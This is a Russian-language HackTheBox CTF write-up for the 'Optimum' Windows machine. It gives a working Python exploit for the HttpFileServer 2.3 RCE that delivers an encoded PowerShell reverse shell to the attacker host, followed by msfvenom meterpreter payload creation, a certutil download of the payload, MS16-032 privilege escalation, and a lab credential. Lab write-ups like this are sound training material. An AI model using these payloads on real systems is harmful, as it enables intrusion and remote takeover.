> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Запись HackTheBox Optium {% embed url="" %} {% hint style="warning" %} **Навыки:** * Эксплуатация HttpFileServer 2.3 (RCE) * Перечисление системы - Windows Exploit Suggester * Windows Server 12 (MS16-032) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (80)

Сканирование версий портов с Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p80 10.10.10.8 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

## **Эксплуатация** ### **Порт 80 : HttpFileServer 2.3** Был обнаружен веб-сервер HttpFileServer 2.3. После поиска выяснилось, что эта версия уязвима к удалённому выполнению кода (NCE).

### **Поиск эксплойта** Команда: ```bash searchsploit -m windows/remote/49584.py ``` {% embed url="" %} **Пользовательский Python-скрипт**

**Пользовательский Python-скрипт** Скрипт необходимо изменить, чтобы включить следующие параметры: * `LHOST` : ваш локальный IP (VPN). * `LPORT`: локальный порт для прослушивания (например, 4444). * `RHOST`: IP цели. * `RPORT`: порт уязвимой службы (например, 80). ```python import base64 import os import urllib.request import urllib.parse lhost = "10.10.14.12" lport = 4444 rhost = "10.10.10.8" rport = 80 # Определите команду, которая будет записана в файл command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()' # Кодируйте команду в формате base64 encoded_command = base64.b64encode(command.encode("utf-16le")).decode() print("/nКоманда закодирована в формате base64...") # Определите полезную нагрузку, которая будет включена в URL payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}' # Закодируйте полезную нагрузку и отправьте HTTP GET-запрос encoded_payload = urllib.parse.quote_plus(payload) url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}' urllib.request.urlopen(url) print("/nЗакодирована полезная нагрузка и отправлен HTTP GET-запрос на целевой узел...") # Выведите некоторую информацию print("/nВывод некоторой информации для отладки...") print("lhost: ", lhost) print("lport: ", lport) print("rhost: ", rhost) print("rport: ", rport) print("payload: ", payload) # Ждите соединений print("/nОжидание подключения...") os.system(f'nc -nlvp {lport}') ``` Слушайте на своей машине: ```bash rlwrap nc -nlvp 4444 ```

### Флаг user.txt :)

## **Повышение привилегий** ### **Перечисление с помощью winPEAS** Мы запустили инструмент winPEAS для проведения разведки на целевой машине через winrm. Цель — обнаружить конфиденциальную информацию и выявить потенциальные уязвимости. {% embed url="" %} **Скачайте и запустите winPEAS** ``` Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

Это позволило нам обнаружить критически важную информацию, такую как пароли и сведения о версии операционной системы.

**Обнаруженные слова пароля** `kostas:kdeEjDowkS*` Кроме того, инструмент показал, что на машине работала Windows Server 2012 R2 Standard — уязвимая версия, для которой существует эксплойт для повышения привилегий через ядро.

### Эксплуатация ядра: Мы искали конкретные эксплойты для Windows Server 2012 R2 для локального повышения привилегий. **MS16-032** эксплойт оказался подходящим для этой версии Windows. {% embed url="" %} * **MS16-032** для Windows 2012 R2 (локальное повышение привилегий). {% embed url="" %} ### **Обратная оболочка через Metasploit** Затем мы создали файл a.exe, чтобы получить обратную оболочку из Metasploit. Были предприняты следующие шаги: Прослушивание в Metasploit: ```bash use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.12 set LPORT 4444 exploit -j ``` Создать полезную нагрузку `shell.exe` с помощью следующей команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe

Передать полезную нагрузку с помощью Python HTTP-сервера и `certutil`: ```bash python3 -m http.server ``` ```powershell certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe ``` После передачи файла нам удалось установить сеанс Meterpreter (сеанс 1).

### **Эксплуатация уязвимости MS16-032** После получения доступа к машине мы поискали уязвимый эксплойт в Metasploit: `exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

Мы задали sessions, задали `LHOST` и `LPORT`, и выбрали цель Windows x64, чтобы избежать конфликта. После завершения эксплуатации мы получили полный доступ к целевой системе.

### Флаг root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.